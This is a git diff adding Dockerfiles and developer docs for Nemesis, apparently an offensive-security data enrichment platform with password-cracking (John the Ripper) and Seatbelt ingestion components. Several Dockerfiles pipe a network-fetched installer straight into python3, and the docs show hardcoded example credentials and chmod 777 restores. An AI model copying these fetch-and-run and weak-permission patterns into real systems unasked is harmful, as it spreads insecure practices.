+RUN poetry install $(if [ "${ENVIRONMENT}" = 'production' ]; then echo "--without dev"; fi;) --no-interaction --no-ansi -vvv
+
+COPY cmd/dashboard/dashboard/__init__.py ./dashboard/
+COPY cmd/dashboard/README.md /app/cmd/dashboard/
+
+
+####################################
+# Container specific dependencies
+####################################
+FROM dependencies-python AS build
+
+# the main dashboard container code
+COPY cmd/dashboard/dashboard/ ./dashboard/
+
+ENV PATH="/app/cmd/dashboard/.venv/bin:$PATH"
+
+WORKDIR /app/cmd/dashboard/dashboard/
+
+CMD [ "python3", "-m", "streamlit", "run", "/app/cmd/dashboard/dashboard/Nemesis.py"]
diff --git a/dockerfiles/dotnet.Dockerfile b/dockerfiles/dotnet.Dockerfile
new file mode 100644
index 0000000..1537050
--- /dev/null
+++ b/dockerfiles/dotnet.Dockerfile
@@ -0,0 +1,71 @@
+########################
+# Common python dependencies layer
+########################
+FROM python:3.11.2-bullseye AS netbuild
+WORKDIR /app/cmd/dotnet
+
+ENV PYTHONUNBUFFERED=true
+
+########################
+# Download dependent packages
+########################
+FROM netbuild AS dependencies
+
+ARG ENVIRONMENT
+ENV POETRY_HOME=/opt/poetry
+ENV POETRY_VIRTUALENVS_IN_PROJECT=true
+ENV PATH="$POETRY_HOME/bin:$PATH"
+ENV DEBIAN_FRONTEND=noninteractive
+ENV DOTNET_CLI_TELEMETRY_OPTOUT=1
+
+# Install dotnet 6.0
+RUN apt-get update \
+ # Install prerequisites
+ && apt-get install -y --no-install-recommends \
+ wget \
+ ca-certificates \
+ \
+ # Install Microsoft package feed
+ && wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb \
+ && dpkg -i packages-microsoft-prod.deb \
+ && rm packages-microsoft-prod.deb \
+ \
+ # Install .NET
+ && apt-get update \
+ && apt-get install -y --no-install-recommends \
+ # dotnet-runtime-6.0 \
+ dotnet-sdk-6.0 \
+ \
+ # Cleanup
+ && rm -rf /var/lib/apt/lists/*
+
+
+# install Python
+RUN apt-get update -y && apt-get install python3 -y && apt-get install python3-pip -y
+
+RUN python3 -c 'from urllib.request import urlopen; print(urlopen("https://install.python-poetry.org").read().decode())' | python3 -
+
+COPY cmd/dotnet/poetry.lock cmd/dotnet/pyproject.toml ./
+COPY cmd/dotnet/dotnet/__init__.py ./dotnet/
+
+# install ilspy
+RUN dotnet tool install --no-cache ilspycmd --tool-path /usr/local/bin/ --version 7.2.1.6856
+
+# Copy local libraries
+COPY packages/python/nemesispb/ /app/packages/python/nemesispb/
+COPY packages/python/nemesiscommon/ /app/packages/python/nemesiscommon/
+
+RUN poetry install $(test "$ENVIRONMENT" == production && echo "--no-dev") --no-interaction --no-ansi -vvv
+
+########################
+# Base image for building images
+########################
+FROM dependencies AS build
+COPY cmd/dotnet/dotnet/ ./dotnet/
+
+FROM build AS runtime
+ENV PATH="/app/cmd/dotnet/.venv/bin:$PATH"
+
+EXPOSE 9800
+
+CMD ["python", "-m", "dotnet"]
\ No newline at end of file
diff --git a/dockerfiles/enrichment.Dockerfile b/dockerfiles/enrichment.Dockerfile
new file mode 100644
index 0000000..dce8618
--- /dev/null
+++ b/dockerfiles/enrichment.Dockerfile
@@ -0,0 +1,89 @@
+####################################
+# Common python dependencies layer
+####################################
+FROM python:3.11.2-bullseye AS debcommon
+WORKDIR /app/cmd/enrichment
+
+ENV PYTHONUNBUFFERED=true
+
+
+####################################
+# OS dependencies
+####################################
+FROM debcommon AS dependencies-os
+
+# install our necessary dependencies
+RUN apt-get update -y && apt-get install yara -y && apt-get install git -y && apt-get install wamerican -y && apt-get install libcompress-raw-lzma-perl -y
+
+# build JTR so we build get various X-2john binaries for file hash extraction
+RUN cd /opt/ && git clone https://github.com/openwall/john && cd john/src && ./configure && make
+
+####################################
+# Python dependencies
+####################################
+FROM dependencies-os AS dependencies-python
+
+ARG ENVIRONMENT=dev
+ENV POETRY_HOME=/opt/poetry
+ENV POETRY_VIRTUALENVS_IN_PROJECT=true
+ENV PATH="$POETRY_HOME/bin:$PATH"
+
+# install Poetry
+RUN python3 -c 'from urllib.request import urlopen; print(urlopen("https://install.python-poetry.org").read().decode())' | python3 -
+
+
+####################################
+# Container specific dependencies
+####################################
+FROM dependencies-python AS build
+
+# clone the common yara rulebase
+# commit 2a8de15d3c2fb95c1e261edfe3f4154480b93161 - Jan 11, 2023
+# we have to tag this to a comment because ~sometimes~ (often) invalid rules sneak in
+# License: Detection Rule License (DRL) 1.1 - https://github.com/Neo23x0/signature-base/blob/master/LICENSE
+RUN git clone https://github.com/Neo23x0/signature-base /app/cmd/enrichment/enrichment/lib/public_yara/signature-base/ && cd /app/cmd/enrichment/enrichment/lib/public_yara/signature-base/ && git checkout 2a8de15d3c2fb95c1e261edfe3f4154480b93161
+# the following use external variables and have to be removed
+# ref- https:/github.com/Neo23x0/signature-base#external-variables-in-yara-rules
+RUN rm /app/cmd/enrichment/enrichment/lib/public_yara/signature-base/yara/generic_anomalies.yar
+RUN rm /app/cmd/enrichment/enrichment/lib/public_yara/signature-base/yara/general_cloaking.yar
+RUN rm /app/cmd/enrichment/enrichment/lib/public_yara/signature-base/yara/gen_webshells_ext_vars.yar
+RUN rm /app/cmd/enrichment/enrichment/lib/public_yara/signature-base/yara/thor_inverse_matches.yar
+RUN rm /app/cmd/enrichment/enrichment/lib/public_yara/signature-base/yara/yara_mixed_ext_vars.yar
+RUN rm /app/cmd/enrichment/enrichment/lib/public_yara/signature-base/yara/configured_vulns_ext_vars.yar
+RUN rm /app/cmd/enrichment/enrichment/lib/public_yara/signature-base/yara/*_ext_vars* 2> /dev/null || true
+
+
+COPY cmd/enrichment/poetry.lock cmd/enrichment/pyproject.toml ./
+
+# copy local libraries
+COPY packages/python/nemesispb/ /app/packages/python/nemesispb/
+COPY packages/python/nemesiscommon/ /app/packages/python/nemesiscommon/
+
+# use Poetry to install the local packages
+RUN poetry install $(if [ "${ENVIRONMENT}" = 'production' ]; then echo "--without dev"; fi;) --no-root --no-interaction --no-ansi -vvv
+
+# this is a stupid exception, otherwise the .so isn't compiled correctly
+RUN poetry run pip3 install msfastpbkdf2
+
+# install stuff for sumy
+RUN poetry run python3 -c "import nltk; nltk.download('punkt')"
+
+# the main enrichment container code
+COPY cmd/enrichment/enrichment/ ./enrichment/
+
+
+
+####################################
+# Runtime
+####################################
+# FROM build AS runtime
+ENV PATH="/app/cmd/enrichment/.venv/bin:$PATH"
+
+# for generate_crack_list
+EXPOSE 9900
+# for the yara api
+EXPOSE 9700
+# for the web-api
+EXPOSE 9910
+
+CMD ["python3", "-m", "watchdog.watchmedo", "auto-restart", "--pattern", "*.py", "--recursive", "--signal", "SIGKILL", "--", "python3", "-m", "enrichment"]
diff --git a/dockerfiles/kibana.Dockerfile b/dockerfiles/kibana.Dockerfile
new file mode 100644
index 0000000..ef32f78
--- /dev/null
+++ b/dockerfiles/kibana.Dockerfile
@@ -0,0 +1,6 @@
+ # This file is not in use right now. Need to modify it to initialize data views, dashboards, etc.
+FROM docker.elastic.co/kibana/kibana:8.3.3
+
+WORKDIR /usr/share/kibana
+ENTRYPOINT ["/bin/tini", "--"]
+CMD ["/usr/local/bin/kibana-docker"]
diff --git a/dockerfiles/nlp.Dockerfile b/dockerfiles/nlp.Dockerfile
new file mode 100644
index 0000000..ef9bbf0
--- /dev/null
+++ b/dockerfiles/nlp.Dockerfile
@@ -0,0 +1,64 @@
+####################################
+# Common python dependencies layer
+####################################
+FROM python:3.11.2-bullseye AS debcommon
+WORKDIR /app/cmd/nlp
+
+ENV PYTHONUNBUFFERED=true
+
+
+####################################
+# OS dependencies
+####################################
+FROM debcommon AS dependencies-os
+
+# install our necessary dependencies
+#RUN apt-get update -y
+
+
+####################################
+# Python dependencies
+####################################
+FROM dependencies-os AS dependencies-python
+
+ARG ENVIRONMENT=dev
+ENV POETRY_HOME=/opt/poetry
+ENV POETRY_VIRTUALENVS_IN_PROJECT=true
+ENV PATH="$POETRY_HOME/bin:$PATH"
+
+# install Poetry
+RUN python3 -c 'from urllib.request import urlopen; print(urlopen("https://install.python-poetry.org").read().decode())' | python3 -
+
+
+####################################
+# Container specific dependencies
+####################################
+FROM dependencies-python AS build
+
+COPY cmd/nlp/poetry.lock cmd/nlp/pyproject.toml ./
+
+# copy local libraries
+COPY packages/python/nemesispb/ /app/packages/python/nemesispb/
+COPY packages/python/nemesiscommon/ /app/packages/python/nemesiscommon/
+
+# use Poetry to install the local packages
+RUN poetry install $(if [ "${ENVIRONMENT}" = 'production' ]; then echo "--without dev"; fi;) --no-root --no-interaction --no-ansi -vvv
+
+
+####################################
+# Runtime
+####################################
+FROM build AS runtime
+ENV PATH="/app/cmd/nlp/.venv/bin:$PATH"
+
+# preload the main embedding model we're using so we don't have to wait for it to download on first use
+RUN python3 -c "from langchain.embeddings import HuggingFaceEmbeddings; embeddings=HuggingFaceEmbeddings(model_name='sentence-transformers/all-MiniLM-L6-v2')"
+
+# copy in the main nlp container code
+COPY cmd/nlp/nlp/ ./nlp/
+
+
+# for the semantic search api
+EXPOSE 9803
+
+CMD ["python3", "-m", "nlp"]
diff --git a/dockerfiles/passwordcracker.Dockerfile b/dockerfiles/passwordcracker.Dockerfile
new file mode 100644
index 0000000..294e4bd
--- /dev/null
+++ b/dockerfiles/passwordcracker.Dockerfile
@@ -0,0 +1,59 @@
+####################################
+# Common python dependencies layer
+####################################
+FROM python:3.11.2-bullseye AS debcommon
+WORKDIR /app/cmd/passwordcracker
+
+ENV PYTHONUNBUFFERED=true
+
+
+####################################
+# OS dependencies
+####################################
+FROM debcommon AS dependencies-os
+
+# install our necessary dependencies
+RUN apt-get update -y && apt-get install yara -y && apt-get install git -y && apt-get install wamerican -y && apt-get install libcompress-raw-lzma-perl -y
+
+# build JTR so we build get various X-2john binaries for file hash extraction
+RUN cd /opt/ && git clone https://github.com/openwall/john && cd john/src && ./configure && make
+
+
+####################################
+# Python dependencies
+####################################
+FROM dependencies-os AS dependencies-python
+
+ARG ENVIRONMENT=dev
+ENV POETRY_HOME=/opt/poetry
+ENV POETRY_VIRTUALENVS_IN_PROJECT=true
+ENV PATH="$POETRY_HOME/bin:$PATH"
+
+# install Poetry
+RUN python3 -c 'from urllib.request import urlopen; print(urlopen("https://install.python-poetry.org").read().decode())' | python3 -
+
+
+####################################
+# Container specific dependencies
+####################################
+FROM dependencies-python AS build
+
+COPY cmd/passwordcracker/poetry.lock cmd/passwordcracker/pyproject.toml ./
+
+# copy local libraries
+COPY packages/python/nemesispb/ /app/packages/python/nemesispb/
+COPY packages/python/nemesiscommon/ /app/packages/python/nemesiscommon/
+
+# use Poetry to install the local packages
+RUN poetry install $(if [ "${ENVIRONMENT}" = 'production' ]; then echo "--without dev"; fi;) --no-root --no-interaction --no-ansi -vvv
+
+COPY cmd/passwordcracker/passwordcracker/ ./passwordcracker/
+
+
+####################################
+# Runtime
+####################################
+FROM build AS runtime
+ENV PATH="/app/cmd/passwordcracker/.venv/bin:$PATH"
+
+CMD ["python3", "-m", "passwordcracker"]
diff --git a/dockerfiles/tensorflow-serving.Dockerfile b/dockerfiles/tensorflow-serving.Dockerfile
new file mode 100644
index 0000000..7f2ce72
--- /dev/null
+++ b/dockerfiles/tensorflow-serving.Dockerfile
@@ -0,0 +1,10 @@
+FROM tensorflow/serving:2.8.2 AS tensorflowcommon
+
+COPY cmd/tensorflow-serving/models/ /models/
+
+# gRPC port
+EXPOSE 8500
+# REST API port
+EXPOSE 8501
+
+CMD ["--model_config_file=/models/models.config"]
diff --git a/docs/development.md b/docs/development.md
new file mode 100644
index 0000000..17b3ccf
--- /dev/null
+++ b/docs/development.md
@@ -0,0 +1,139 @@
+# Dev Software Requirements
+
+**The following requirements need to be installed for development:**
+
+
+
+Install the Protobuf Compiler
+
+
+**Purpose:** Compiles protobuf specs to python (or other languages).
+
+* Install protobuf-compiler package
+```bash
+# Install the protobuf compiler
+wget https://github.com/protocolbuffers/protobuf/releases/download/v21.5/protoc-21.5-linux-x86_64.zip
+sudo unzip protoc-21.5-linux-x86_64.zip -d /usr/local/
+```
+
+
+
+# Running Nemesis during Dev
+
+1. Run `nemesis-cli.py`. This script ensures minikube is started with sufficient resources, tests access to AWS resources (and optionally creates them), and adds secrets to the k8s cluster (and generates random ones if wanted).
+
+2. Start Nemesis. The output of `nemesis-cli.py` will contain some instructions on how to start Nemesis. In general during dev, Nemesis's infrastructure and services are started separately:
+
+```
+# Start fairly static services (Elastic, RabbitMQ, kibana, jupyter, tika, gotenberg, etc)
+./scripts/infra_start.sh
+
+# Start up the data ingest/enrichment services. If you pass any args to this command, the "enrichment" service will NOT start
+./scripts/services_start.sh
+```
+
+These scripts are just wrappers around skaffold commands.
+
+**Note 1 - Image pull timeouts**
+
+Sometimes right after a minikube cluster is created, it takes a while for all the docker images to be downloaded into minikube. Skaffold may timeout during this time and tear down all the infrastructure. If this happens, you can usually just run skaffold again without issue.
+
+
+# Service Development
+
+The recommended way to develop a new (or modify a current) service is with VS Code
+and a remote workspace. This allows you to write and debug code without having to
+deploy the complete container.
+
+To do this, [follow this guide](https://code.visualstudio.com/docs/remote/ssh) to
+set up remote SSH for development - we recommend having the code itself reside
+on a supported Debian 11 image and remoting in from your main OS for development.
+Once the remote session has been established:
+
+- Open up **just** the module folder in ./cmd/ (e.g., `enrichment`)
+- Go to `Terminal` -> `New Terminal`
+- (First time) activate the Poetry environment with `poetry install`
+- Ensure a `./vscode/launch.json` is present (see ./cmd/enrichment for an example)
+- Create a `.env` file in the root directory that contains VAR=val environment variables to set
+- Start the needed Nemesis infrastructure on the host, minus this module.
+ - Ensure the needed ports (RabbitMQ/etc.) are exposed locally
+- On the left click the `Run and Debug` button and launch the application
+
+**Note:** If you want to reset your Poetry environment, [see this post](https://stackoverflow.com/a/70064450).
+
+
+# Building and Troubleshooting Docker Images
+You can build and troubleshoot Nemesis's docker containers using the docker CLI. For example, to troublehshoot the enrichment image you can do the following:
+
+1. Build the image and give it a name of "test"
+```bash
+docker build -t test -f ./dockerfiles/enrichment.Dockerfile
+```
+
+2. Run the "test" image and do your troubleshooting via a bash prompt:
+```bash
+docker run --rm -ti test bash
+```
+
+To build the images inside of k8s, you can use skaffold:
+```bash
+skaffold build
+```
+
+# Testing file processing
+One can test file processing using the `./scripts/submit_to_nemesis.sh` script. To configure the script, modify the settings in `./cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.yaml`.
+
+The `./sample_files/` folder contains many examples of files that Nemesis can process. For example, to test Nemesis's ability to extract a .ZIP file and process all the files inside of the zip, configure the YAML file and then run (make sure to specify the absolute path):
+```bash
+
+./scripts/submit_to_nemesis.sh -f ./sample_files/zip_test.zip
+```
+
+To see a list of all command line arguments run `./scripts/submit_to_nemesis.sh -h`.
+
+# kubectl / kubernetes version skews
+
+According to [kubernetes](https://kubernetes.io/releases/version-skew-policy/#kubectl) it's the best practice to keep kubectl and the kubernetes image used by minikube in sync. You can tell the versions of both with:
+
+```bash
+kubectl version --short
+Flag --short has been deprecated, and will be removed in the future. The --short output will become the default.
+Client Version: v1.27.1
+Kustomize Version: v5.0.1
+Server Version: v1.24.3
+WARNING: version difference between client (1.27) and server (1.24) exceeds the supported minor version skew of +/-1
+```
+
+You can update kubectl with:
+```bash
+sudo apt-get update
+sudo apt-get install -y kubectl
+```
+
+If you want to specify a version for kubectl, use:
+```bash
+curl -LO https://dl.k8s.io/release/v1.25.4/bin/linux/amd64/kubectl
+sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
+```
+
+You can then specify the kubernetes imge pulled by minikube with:
+```bash
+minikube start --kubernetes-version v1.25.4
+```
+
+# ./scripts/
+
+The following describes the files in the ./scripts/ directory:
+
+| File | Purpose |
+| --------------------- | --------------------------------------------------------------------------- |
+| build_protobufs.sh | Builds the protobuf definition file. |
+| dashboard_start.sh | Starts the dashboard container. |
+| infra_start.sh | Starts the stable backend infrastructure pods. |
+| interact.sh | Takes a pod name an interacts with the main system's bash env. |
+| pod_resource_usage.sh | Displays an a continuously updated state of the pods' resource utilization. |
+| pull_images.sh | Downloads all docker iamges used by Nemesis. |
+| services_start.sh | Starts the main processing service pods. |
+| submit_to_nemesis.sh | Helper to manually submit a file to Nemesis. |
+| total_memory.sh | Displays the total memory currently being used by the cluster. |
+| watch_pods.sh | Displays an a continuously updated state of the pods' status(es). |
diff --git a/docs/elasticsearch-kibana.md b/docs/elasticsearch-kibana.md
new file mode 100644
index 0000000..96373f2
--- /dev/null
+++ b/docs/elasticsearch-kibana.md
@@ -0,0 +1,113 @@
+# Infra
+Elastic is deployed using [the Elastic operator and is installed via helm](https://www.elastic.co/guide/en/cloud-on-k8s/master/k8s-install-helm.html). The operator runs inside the `elastic-system` namespace and its logs can be viewed with the following command:
+```bash
+kubectl logs -n elastic-system sts/elastic-operator
+```
+
+The custom resource definitions that the helm chart installs can all be found [here](https://github.com/elastic/cloud-on-k8s/tree/2.3/config/samples). The helm chart can be found [here](https://github.com/elastic/cloud-on-k8s/tree/main/deploy).
+
+# Storage
+
+By default this Elasticsearch instance uses a persistent data store. The size of the datastore can be adjusted in `./kubernetes/elastic/elasticsearch.yaml` by modifying the `storage: 20Gi` in the "PersistentVolume" and "PersistentVolumeClaim" config sections.
+
+To use temporary storage that is wiped on every Skaffold run, comment the existing code in `./kubernetes/elastic/elasticsearch.yaml` and uncomment the code at the bottom of the file.
+
+# Accessing Elastic/Kibana
+To login to Elastic or Kibana, get the user and password with the following commands:
+```
+kubectl get secret elasticsearch-users -o=go-template='{{index .data "username" | base64decode}}'
+kubectl get secret elasticsearch-users -o=go-template='{{index .data "password" | base64decode}}'
+```
+
+Example to confirm elastic is working:
+```bash
+export K8S_HOST=192.168.230.52
+export ELASTICSEARCH_USER=$(kubectl get secret elasticsearch-users -o=go-template='{{index .data "username" | base64decode}}')
+export ELASTICSEARCH_PASSWORD=$(kubectl get secret elasticsearch-users -o=go-template='{{index .data "password" | base64decode}}')
+curl -u "${ELASTICSEARCH_USER}:${ELASTICSEARCH_PASSWORD}" -k "http://${K8S_HOST}:8080/elastic/"
+```
+
+
+
+# Troubleshooting
+## Helm can't install the elastic operator
+See https://github.com/elastic/cloud-on-k8s/issues/5325#issuecomment-1124682097. Confirmed that fix worked, as did upgrading minikube to at least v1.26.1
+
+## Elastic endpoints for troubleshooting
+
+- Any issues with cluster allocation:
+ - http://127.0.0.1:8080/elastic/_cluster/allocation/explain
+- Indicies/shard health:
+ - http://127.0.0.1:8080/elastic/_cat/indices?v&health=yellow
+ - http://127.0.0.1:8080/elastic/_cat/shards?v
+- Drive space:
+ - http://127.0.0.1:8080/elastic/_cat/allocation?v
+- CPU utilization/etc:
+ - http://127.0.0.1:8080/elastic/_cat/nodes?v
+
+By default, Elastic will not allocate additional shard if 90%+ of the hard disk in the pod is allocated. If Minikube fills up, the drive space will be reflected as also filled in the Elastic container. This causes Kibana to fail in object creation, and Kibana will be stuck in a non-functional startup look. The solution is to ssh into minikube with `minikube ssh` and then run `docker system prune` to free up resources.
+
+# Example queries:
+An "easy" way to build elastic search queries is to do the search in Kibana's "Discover" page, click the "Inspect" button in the top right, and click on "Request":
+
+
+
+## 1 - Simple search via query string for a process name and message GUID:
+```
+curl -k -u nemesis:Qwerty12345 -XGET 'http://192.168.230.52:8080/elastic/process_category/_search?q=name:explorer.exe%20AND%20metadata.messageId:75f07c40-a4fe-4eb7-bfe6-4b1b04c79d4f&pretty'
+```
+
+More info about the query string syntax [here](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-query-string-query.html#query-string-syntax).
+
+
+## Same search as above, but only returning the name/category fields
+```bash
+curl -k -X POST -u nemesis:Qwerty12345 -H 'Content-Type: application/json' 'http://192.168.230.52:8080/elastic/process_category/_search?pretty' -d '
+{
+ "_source": {
+ "includes": [ "name", "category.*" ]
+ },
+ "query": {
+ "bool": {
+ "filter": [
+ {
+ "match_phrase": {
+ "metadata.messageId": "75f07c40-a4fe-4eb7-bfe6-4b1b04c79d4f"
+ }
+ },
+ {
+ "match_phrase": {
+ "name": "1password.exe"
+ }
+ }
+ ]
+ }
+ }
+ }
+'
+```
+
+# Backup and Restore Data
+**Use case:** If the minikube node ever needs to be deleted (e.g., something goes wrong to start fresh or you're done with an op) and you want to backup Elastic's data.
+
+**Backup**
+1. Ensure Nemesis's Elastic DB or minikube is stopped: `minikube stop` or `kubectl delete es/nemesis`.
+
+2. Copy the ES's files to somewhere else:
+```
+cp -r /var/lib/docker/volumes/minikube/_data/data/elastic /tmp/esbackup`
+```
+3. Now the backup is saved somewhere else, so feel free to delete the minikube node: `minikube delete`.
+
+**Restore**
+1. Start minikube: `minikube start`
+
+2. Copy the backup files back and set the appropriate permissions:
+```
+sudo cp -r /tmp/esbackup /var/lib/docker/volumes/minikube/_data/data/elastic
+
+sudo find /var/lib/docker/volumes/minikube/_data/data/elastic -type d -exec chmod 777 {} \;
+sudo find /var/lib/docker/volumes/minikube/_data/data/elastic -type f -exec chmod 666 {} \;
+```
+
+3. Startup Nemesis
diff --git a/docs/images/kibana-get-es-request.png b/docs/images/kibana-get-es-request.png
new file mode 100644
index 0000000..892f9cd
Binary files /dev/null and b/docs/images/kibana-get-es-request.png differ
diff --git a/docs/kubernetes.md b/docs/kubernetes.md
new file mode 100644
index 0000000..b7f0e1a
--- /dev/null
+++ b/docs/kubernetes.md
@@ -0,0 +1,27 @@
+# Basics
+
+| Description | command |
+|----------------------------|--------------------------------------------------------------------------------------------------------|
+| View pods | kubectl get pods |
+| View all pods | kubectl get pods -A |
+| View pod logs | kubectl logs |
+| Describe pod config/events | kubectl describe pods/ |
+| View services | kubectl get services [-A] |
+| Execute a command in pod | kubectl exec -ti -- bash |
+| Run a pod temporarily | kubectl run temptest -ti --image=jupyter/datascience-notebook:latest --rm=true --restart=Never -- bash |
+
+May consider aliasing `kubectl` to `k` just so you don't have to type it out each time.
+
+# Pods keep restarting due to OOMError
+`OOOError` = Out of memory error
+
+Reasons why it might happen include:
+* Pod doesn't have enough memory. Solution: Look at the pod's k8s code and check the `resources` section and increase the memory in [the limits/request section](https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/)
+* The kubernetes node doesn't have enough memory to deploy the pods. Solution: If you're using Minikube, make sure the VM has enough memory and that minikube is configured to start with more memory (see the [preq instructions](prerequisites.md) for Minikube for how to configure the memory).
+* The application has a memory leak, and over time, consumes all the available memory dedicated to it. Solution: Fix the memory leak.
+
+# CrashLoopBackOff Error
+
+To get information about the pod: `kubectl describe pod [name] --namespace=[namespace]`
+
+To get the last 10 lines from the pod as it fails: `kubectl logs --previous --tail 10 pod/[name] --namespace=[namespace]`
diff --git a/docs/new_odr_datatype.md b/docs/new_odr_datatype.md
new file mode 100644
index 0000000..0a4f458
--- /dev/null
+++ b/docs/new_odr_datatype.md
@@ -0,0 +1,34 @@
+# Creating a ODR Data Type
+
+*Note: for each file mentioned, search for "named_pipe" or "namedpipe" to see an example values for what to do.*
+
+1. Build out the fields for the new new datatype at `./docs/odr/references/\.md`
+2. Create a sample structured json input in `./sample_files/structured/\.json`
+ - In `./cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.py` add a handler at the top of the *process_file()* function.
+3. Build a new **\Ingestion** and **\IngestionMessage** protbuf definitions in nemesis.proto
+4. In `./cmd/enrichment/enrichment/services/web_api/service.py` add in the data type name to protobuf mapping in MAP at the top of the file.
+5. In `./packages/python/nemesiscommon/nemesiscommon/constants.py` create a new **Q_\** queue and add it to the ALL_QUEUES list.
+ - If there will be intial and processed versions of the data type, also create a **Q_\_PROCESSED** queue and add it to the ALL_QUEUES list.
+6. If the ODR should ingest into Elasticsearch:
+ 1. Create a new **ES_INDEX_\** in in Elastic index section in `./packages/python/nemesiscommon/nemesiscommon/constants.py`
+ 2. In `./cmd/enrichment/enrichment/tasks/elastic_connector.py`:
+ - Add **\_queue** to the init section
+ - Create a **send_\()** function and add the call to the **tasks** list in run().
+ 43. In `./cmd/enrichment/enrichment/containers.py`:
+ - In the *Container* class add a *inputq_\_elasticconnector* similar to the surrounding examples.
+ - In *task_elasticconnector()* add the new queue as an argument.
+7. If the ODR should ingest into Postgres:
+ 1. In `./kubernetes/postgres/configmap.yaml` create the appropriate table.
+ - Start up the infra and navigate to the tables in Postgres to ensure everything created correctly (an error will prevent everything from being created).
+ 2. In `./cmd/enrichment/enrichment/lib/nemesis_db.py`:
+ - Create a new dataclass at the top of the file for your object to store in Postgres.
+ - In the *NemesisDbInterface* class create a new *add_\_object()* abstract method that accepts the new dataclass.
+ - In the *NemesisDb* class implement the *add_\_object()* method similiar to the surrounding examples.
+ 3. In `./cmd/enrichment/enrichment/tasks/postgres_connector/postgres_connector.py`:
+ - Import the new dataclass in the *from enrichment.lib.nemesis_db import* section at the top of the file.
+ - Add a new *\_q* MessageQueueConsumerInterface to the init sections of the *PostgresConnector* class, ensuring the argument position matches what you specified in *containers.py*.
+ - In *run()*, add a `self.\_q.Read(self.process_\), # type: ignore` line to the asyncio.gather section.
+ - Implement a *process_\()* function (see *process_named_pipe()* for a simple example).
+ 4. In `./cmd/enrichment/enrichment/containers.py`:
+ - In the *Container* class add a *inputq_\_postgresconnector* similar to the surrounding examples.
+ - In *task_postgresconnector()* add the new queue as an argument.
diff --git a/docs/new_seatbelt_datatype_ingestion.md b/docs/new_seatbelt_datatype_ingestion.md
new file mode 100644
index 0000000..ca2bf13
--- /dev/null
+++ b/docs/new_seatbelt_datatype_ingestion.md
@@ -0,0 +1,21 @@
+# Ingesting a New Seatbelt Datatype
+
+*Note: for each file mentioned, search for "named_pipe" or "namedpipe" to see an example values for what to do.*
+
+1. Generate a sample .ndjson output file for the module from Seatbelt for testing.
+2. In `./cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_datatypes.py`:
+ - In *SeatbeltDtoTypes* at the top add in a maping for the "Seatbelt.Commands.Windows.\" output.
+ - Create a new *Seatbelt\* dataclass with case sensitive fields that match the Seatbelt data type.
+ - Implement *from_dict()* and *to_protobuf()* functions and include any additional mapping/processing for specific fields needed.
+3. In `./cmd/enrichment/enrichment/containers.py`:
+ - In the *Container* class add a *outputq_\* similar to the surrounding examples and ensure it's sorted alphabetically.
+ - In *task_rawdatatag()* add the new queue as an argument.
+4. In `./cmd/enrichment/enrichment/tasks/raw_data_tag/raw_data_tag.py`:
+ - Add a *MessageQueueProducerInterface* for the datatype in the init sections, ensuring the argument position matches what you specified in *containers.py*.
+ - In *process_seatbelt_raw_data()* pass the new queue to *seatbelt_json()*
+5. In `./cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_json.py`:
+ - Import the new *Seatbelt\* dataclass in the *from enrichment.tasks.raw_data_tag.seatbelt_datatypes* section at the top of the file.
+ - Add a *MessageQueueProducerInterface* for the datatype in the init sections, ensuring the argument position matches what you specified in *raw_data_tag.py*.
+ - In *process_dto()*, add a new `elif obj.Type == SeatbeltDtoTypes..value:` section to handle processing.
+ - See the nearby *SeatbeltDtoTypes.NAMED_PIPE.value* example if emitting a *IngestionMessage* protobuf.
+ - See the *SeatbeltDtoTypes.SLACK_DOWNLOADS.value* example if shoving data straight into Postgres.
diff --git a/docs/new_service.md b/docs/new_service.md
new file mode 100644
index 0000000..061ff2c
--- /dev/null
+++ b/docs/new_service.md
@@ -0,0 +1,13 @@
+# Creating a New Service
+
+1. Create a new folder in `/cmd/` with `poetry new NAME`
+ - Add dependencies as needed with `poetry add LIBRARY`, and then `poetry lock` to lock the dependencies in
+ - Follow an existing module like `dotnet` to see how the Dockerfile should be structured for Poetry.
+2. Create/test a .Dockerfile and place it in in ./dockerfiles/
+ - You can build the dockerfile independently with `~/ods$ docker build -f ./dockerfiles/.Dockerfile .`
+3. In **./kubernetes/** create (based on existing examples):
+ - .//deployment.yaml
+ - .//service.yaml
+4. In skaffold.yaml:
+ - Add the service under the build, profile/artifacts, and kubectl/manifests sections
+ - (Optionally) Expose the port in the portForward section
diff --git a/docs/odr/README.md b/docs/odr/README.md
new file mode 100644
index 0000000..5044c03
--- /dev/null
+++ b/docs/odr/README.md
@@ -0,0 +1,75 @@
+# Operational Data References
+This Operational Data Reference (ODR) is the key a reference for how data should be formated to be accepted and parsed by the Nemesis. Various ODRs have been defined for data that is useful to collect and perform automated post processing analysis on.
+
+Each data submission to Nemesis must consist of an metadata block and the data block. The metadata includes information that is relavent to all submissions.
+
+```json
+{
+ "metadata": {
+ ...
+ }
+ "data" : {
+ ...
+ }
+}
+```
+
+## Design Considerations
+The goal of Nemesis is to store operational data that may be useful to do automated post process analysis on. To this end, several considerations are made before a new ODR is added:
+- Is the ODR too specific to be useful to do post process analysis on during most engagements?
+- If a user may already submit the data directly to the binary data endpoint (ex. PCAP data), would an ODR provide additional useful information or cause more burden for the user?
+- Can any parameters in the ODR by defined in a way that will cause less ambiguity for the user?
+
+## Encodings and Formats
+All data must be encoded as UTF-8. Data must be formated as JSON to be parsed by Nemesis. The `metadata` and `data` sections of the submission will both contain information of different formats such as timestamps, booleans, and binary data. Conventions for each are defined here. Any information format that is unique to an ODR will be specified within that specific ODR. Any string value may include hex escape sequences. Escape sequences for UTF-8 is not needed because all submissions are already in UTF-8.
+
+| Base Information Formats | Standard and encodings |
+| ------------------------ | ------------------------------------------------------------------------- |
+| UUID | Nemesis UUID string referencing a binary data already uploaded to Nemesis |
+| bool | True or False booleans |
+| datetime | ISO 8601 data timestamp in UTC |
+| int/long | Numeric data |
+| string | String data with `\x` for hex escapes |
+
+\* Binary data is expected to be submitted first to the Nemesis before submitted any ODR formatted data that refers to it. Nemesis will return a UUID for a binary submission which may be used as a UUID reference parameter.
+
+## Metadata Section
